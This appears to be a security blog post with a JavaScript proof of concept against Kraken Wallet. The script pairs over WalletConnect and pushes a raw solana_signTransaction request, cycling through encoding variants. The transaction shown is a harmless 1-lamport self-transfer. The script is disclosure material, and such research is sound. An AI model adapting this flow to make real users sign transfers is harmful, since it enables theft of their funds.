Securing Open Source Part 2: Cracking Kraken

1
import readline from "node:readline/promises";
2
import { stdin as input, stdout as output } from "node:process";
3
import { inspect } from "node:util";
4

5
import * as SignClientPkg from "@walletconnect/sign-client";
6
import bs58 from "bs58";
7
import qrcode from "qrcode-terminal";
8
import { Connection, PublicKey, SystemProgram, TransactionMessage, VersionedTransaction } from "@solana/web3.js";
9

10
const PROJECT_ID = "166e072e1ac6c2d9ad7caad68fc69e90";
11
const CHAIN_ID = process.env.SOLANA_CHAIN_ID || "solana:5eykt4UsFv8P8NJdTREpY1vzqKqZKvdp";
12
const RPC_URL = process.env.SOLANA_RPC_URL || "https://api.mainnet-beta.solana.com";
13

14
if (!PROJECT_ID) {
15
  console.error("Missing WALLETCONNECT_PROJECT_ID env var.");
16
  process.exit(1);
17
}
18

19
function parseAccount(accountString) {
20
  const [namespace, reference, address] = accountString.split(":");
21
  return { namespace, reference, address };
22
}
23

24
function resolveSignClient() {
25
  const SignClient = SignClientPkg?.SignClient || SignClientPkg?.default?.SignClient || SignClientPkg?.default;
26
  if (!SignClient || typeof SignClient.init !== "function") {
27
    throw new Error("Unable to resolve SignClient.init from @walletconnect/sign-client");
28
  }
29
  return SignClient;
30
}
31

32
function buildTxVariants(owner, blockhash) {
33
  const ixs = [
34
    SystemProgram.transfer({
35
      fromPubkey: owner,
36
      toPubkey: owner,
37
      lamports: 1,
38
    }),
39
  ];
40

41
  const messageV0 = new TransactionMessage({
42
    payerKey: owner,
43
    recentBlockhash: blockhash,
44
    instructions: ixs,
45
  }).compileToV0Message();
46
  const v0tx = new VersionedTransaction(messageV0);
47
  const v0wire = Buffer.from(v0tx.serialize());
48

49
  const base64Params = { transaction: v0wire.toString("base64") };
50
  const base58Params = { transaction: bs58.encode(v0wire) };
51

52
  return [
53
    { label: "object/base64", params: base64Params },
54
    { label: "array[object]/base64", params: [base64Params] },
55
    { label: "object/base58", params: base58Params },
56
    { label: "array[object]/base58", params: [base58Params] },
57
  ];
58
}
59

60
async function requestSignTransaction(client, topic, chainId, variants) {
61
  let lastError;
62
  for (const variant of variants) {
63
    try {
64
      console.log(`Trying variant: ${variant.label}`);
65
      const result = await client.request({
66
        topic,
67
        chainId,
68
        request: {
69
          method: "solana_signTransaction",
70
          params: variant.params,
71
        },
72
      });
73
      return { variant: variant.label, result };
74
    } catch (error) {
75
      lastError = error;
76
      console.log(`Variant failed: ${variant.label}`);
77
      console.log(inspect(error, { depth: 6, showHidden: true }));
78
    }
79
  }
80
  throw lastError ?? new Error("All signTransaction variants failed");
81
}
82

83
async function main() {
84
  const rl = readline.createInterface({ input, output });
85
  const connection = new Connection(RPC_URL, "confirmed");
86
  const SignClient = resolveSignClient();
87

88
  const client = await SignClient.init({
89
    projectId: PROJECT_ID,
90
    metadata: {
91
      name: "WC Solana direct signTransaction PoC",
92
      description: "PoC for direct solana_signTransaction request",
93
      url: "https://thisshiiskindacrazy.org",
94
      icons: ["https://walletconnect.com/walletconnect-logo.png"],
95
    },
96
  });
97

98
  const optionalNamespaces = {
99
    solana: {
100
      methods: ["solana_signTransaction", "solana_signMessage"],
101
      chains: [CHAIN_ID],
102
      events: [],
103
    },
104
  };
105

106
  const { uri, approval } = await client.connect({ optionalNamespaces });
107
  if (uri) {
108
    console.log("\nScan this QR with Kraken Wallet:\n");
109
    qrcode.generate(uri, { small: true });
110
    console.log("\nPairing URI:\n", uri, "\n");
111
  }
112

113
  console.log("Waiting for wallet approval...");
114
  const session = await approval();
115
  const accounts = session.namespaces?.solana?.accounts ?? [];
116
  if (accounts.length === 0) {
117
    throw new Error("No Solana account in approved session.");
118
  }
119

120
  const chosen = accounts.find(a => a.startsWith(`${CHAIN_ID}:`)) || accounts[0];
121
  const { namespace, reference, address } = parseAccount(chosen);
122
  const chainId = `${namespace}:${reference}`;
123
  const owner = new PublicKey(address);
124
  const { blockhash } = await connection.getLatestBlockhash("confirmed");
125

126
  console.log("Session approved:", session.topic);
127
  console.log("Session methods:", session.namespaces?.solana?.methods ?? []);
128
  console.log("Session chains:", session.namespaces?.solana?.chains ?? []);
129
  console.log("Using account:", chosen);
130
  console.log("RPC:", RPC_URL);
131
  console.log("Balance (lamports):", await connection.getBalance(owner, "confirmed"));
132
  console.log("Blockhash:", blockhash);
133

134
  const variants = buildTxVariants(owner, blockhash);
135

136
  await rl.question("\nPress Enter to request solana_signTransaction...");
137
  const { variant, result } = await requestSignTransaction(client, session.topic, chainId, variants);
138

139
  console.log("\nSuccess.");
140
  console.log("Accepted variant:", variant);
141
  console.log("Response:", result);
142

143
  await rl.question("\nPress Enter to disconnect...");
144
  await client.disconnect({
145
    topic: session.topic,
146
    reason: { code: 6000, message: "PoC complete" },
147
  });
148
  rl.close();
149
}
150

151
main().catch(error => {
152
  console.error("\nFatal error:", error);
153
  process.exit(1);
154
});